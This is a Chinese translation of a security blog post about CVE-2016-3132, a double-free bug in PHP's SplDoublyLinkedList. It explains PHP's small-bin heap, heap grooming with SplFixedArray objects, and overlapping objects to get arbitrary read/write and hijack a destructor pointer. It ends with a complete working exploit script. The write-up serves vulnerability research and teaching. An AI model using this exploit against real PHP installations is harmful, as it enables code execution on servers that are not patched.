技术文章翻译PHP标准库中某双链表结构存在双重释放问题CVE-2016-3132

原文 http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist

原作者Emmanuel Law

引子

最近在PHP标准库中Standard PHP Library, SPL)发现了一个双重释放漏洞在写exp的时候找了找PHP内部对堆的管理方式但是没找到太多这篇博客旨在和大家分析一些如何在PHP下利用Double free的人生经验

根源分析

问题函数是SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )当传递一个无效的参数时即可触发漏洞例如

<?php
$var_1=new SplStack();
$var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime 会被释放两次

来看一下细节当一个无效的下标传入的时候在第833DateTiem对象被第一次释放


 832    if (index < 0 || index >= intern->llist->count) {
 833         zval_ptr_dtor(value);
 834         zend_throw_exception(spl_ce_OutOfRangeException, "Offset invalid or out of range", 0);
 835         return;
 836    }

另外一个释放点在Zend/zend_vm_execute.h:855在清理调用栈时

EG(current_execute_data) = call->prev_execute_data;
zend_vm_stack_free_args(call);

PHP内部的堆管理

PHP内部当调用像ealloc()的函数分配内存的时候根据请求大小的不同分为三类

  • 小于3072字节的小堆块分配Small heap alloction)
  • 小于2MiB的大堆块分配Large heap alloction)
  • 大于2MiB的巨堆块分配Huge heap alloction)

为了利用这个洞需要看一下小堆块的分配和释放流程小堆块的分配流程会把每个内存块根据其大小分入不同的桶Bin)

  • 1#桶包含1~8byte的块
  • 2#桶包含9~16byte的块
  • 3#桶包含17~24byte的块
  • 以此类推

PHP内部用efree()之类的函数释放内存的时候如果内存块被小堆块分配器处理的话内存不会被返回给系统而是被缓存下来并放在合适的Bin这个Bin是个单链表把该Bin中的所有块连在一起每个块的前几个字节是该块的头部含有指向下一个块的指针如图所示

Bin Linklist

译者注为什么这么像ptmallocfastalloc到底是做了多少次了啊

具体的利用方法

  • Step 0: 先看看这个对象看看能不能打这个洞是因为引擎试图把一个对象插入到一个无效的SplDoublyLinkedList下标中一般会引发这样的错误
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range
(致命错误:未捕获的溢出异常:偏移值无效或超限)

发生了这种错误后PHP会立刻退出这样Double Free我们无法在用户空间运行任何程序了因此为了调这个漏洞我们需要卡住这个错误然后让PHP在双重释放后不立刻退出set_exception_handler()就可以搞定

  • Step 1: 选择一个合适的对象进行溢出我选择了SplFixedArray因为

    • 大小合适不会走入其他的内存管理流程中
    • 大小不怎么常见因此不会被影响太多本例中sizeof(SplFixedArray)==0x78会被放入12号筐中
    • SplFixedArray内部是一个结构体在特定位置有一个成员可以被利用下面我会对此进行详细说明
  • Step 2: 我们要先调教一下堆先做一些清理操作释放Bin里所有会影响我们的块我们可以通过分配一堆实例的方法来搞这样也能让我们得到的内存地址比较接近

for ($x=0;$x<100;$x++){
$z[$x]=new SplFixedArray(5);
}

unset($z[50]);

我们分配然后释放了第50SplFixedArray这样在这片内存里就制造了一个空洞如下图

Big hole

然后立刻实例化一个SplFixedArray这个对象正好会被放到那个空洞里然后触发

<?php
$var_1=new SplStack();
$var_1->offsetSet(100,new SplFixedArray);

这些操作都是为了我能拿到一个可控的内存结构并保证双重释放也发生在这个地方在第一个free之后内存布局如下

After first free

第二次free如下

After second free

  • Step 3: 然后我们看看怎么拿到控制权注意只有一个堆块是空的但是在链表里有两个指针指向同一块空内存这是因为现在这块堆已经乱了PHP认为有两个空块那么我们可以在12bin中分配两个空块他们会占用同一块内存空间
<?php
$s=str_repeat('C',0x48);
$t=new mySpecialSplFixedArray(5);

class mySpecialSplFixedArray extends SplFixedArray{
   public function offsetUnset($offset) {
         parent::offsetUnset($offset);
    }
}

这里我们分配了一个字符串第二行和一个mySpecialSplFixedArray第三行他们占用了同一个地点也就是原来的第50SplFixedArray 第三行那里mySpecialSplFixedArray继承了SplFixedArray但是复写了offsetUnset方法看一下PHPStringSplFixedArray的结构 Compare it! - 第一次用$s=str_repeat('C',0x48)分配字符串的时候zend_string.len的值是0x48 - 然后如果分配一个SplFixArray()由于fptr_offset_set默认值为0且其和之前的String占有一块内存因此zend_string.len被改为0 - 但是我们覆写了offsetUnset()因此fptr_offset_set会含有内存中某个用户定义函数的地址这个地址肯定比0x48同样的zend_string.len也会被覆盖为这个函数地址那么PHP认为我们有一个很大很大的字符串

  • Step 4: 拿到控制流现在PHP认为
    • $s是一个很大的字符串那么我们可以任意读写了

    • $tmySpecialSplFixedArray对象$s占同一个地方

      如果我们要执行0xdeadbeef处的代码那么我们需要

      1. 伪造一个结构体其析构器指针指向0xdeadbeef
      2. 覆写mySpecialSplFixedArray的指针使其指向那个假的结构体
      3. unset(mySpecialSplFixedArray)实际是析构了我们伪造好的结构体那么代码肯定执行了

      第一步比较好搞利用刚才的读写工具$s就可以了第二个也不难而问题是伪造假的Handler结构时我们并不知道假结构的具体地址那么就比较尴尬了

      解决方法是释放第5152SplFixArray Bazinga

      这样51SplFixArray的前8个字节就指向了第52SplFixArray我们可以用之前的$s搞信息泄露了

下面是完整的利用代码

<?php
// #######   HELPER Function ##############
function read_ptr(&$mystring,$index=0,$little_endian=1){

return hexdec(dechex(ord($mystring[$index+7])) .dechex(ord($mystring[$index+6])) . dechex(ord($mystring[$index+5])).dechex(ord($mystring[$index+4])).dechex(ord($mystring[$index+3])).dechex(ord($mystring[$index+2])). dechex(ord($mystring[$index+1])).dechex(ord($mystring[$index+0])));

}
function write_ptr(&$mystring,$value,$index=0,$little_endian=1){
//$value=dechex($value);
$mystring[$index]=chr($value&0xFF);
$mystring[$index+1]=chr(($value>>8)&0xFF);
$mystring[$index+2]=chr(($value>>16)&0xFF);
$mystring[$index+3]=chr(($value>>24)&0xFF);
$mystring[$index+4]=chr(($value>>32)&0xFF);
$mystring[$index+5]=chr(($value>>40)&0xFF);
$mystring[$index+6]=chr(($value>>48)&0xFF);
$mystring[$index+7]=chr(($value>>56)&0xFF);

}

// ####### Exploit Start #######

class SplFixedArray2 extends SplFixedArray{
public function offsetSet($offset, $value) {}
public function Count() {echo "!!!!######!#!#!#COUNT##!#!#!#!#";}
public function offsetUnset($offset) {
parent::offsetUnset($offset);
}
}

function exception_handler($exception) {
global $z;
$s=str_repeat('C',0x48);
$t=new SplFixedArray2(5);
$t[0]='Z';

unset($z[22]);
unset($z[21]);

$heap_addr=read_ptr($s,0x58);
print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; 
$heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;
print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";
//Set Handlers
write_ptr($s,$heap_addr_of_fake_handler,0x40);
//Set fake handler

write_ptr($s,0x40,0x300); //handler.offset
write_ptr($s,0x4141414141414141,0x308); //handler.free_obj
write_ptr($s,0xdeadbeef,0x310); //handler.dtor.obj
str_repeat('z',5);
unset($t);  //BOOM!
}

set_exception_handler('exception_handler');
$var_1=new SplStack();
$z=array();

//Heap management
for ($x=0;$x<100;$x++){
$z[$x]=new SplFixedArray(5);
}


unset($z[20]);
$var_1->offsetSet(0,new SplFixedArray);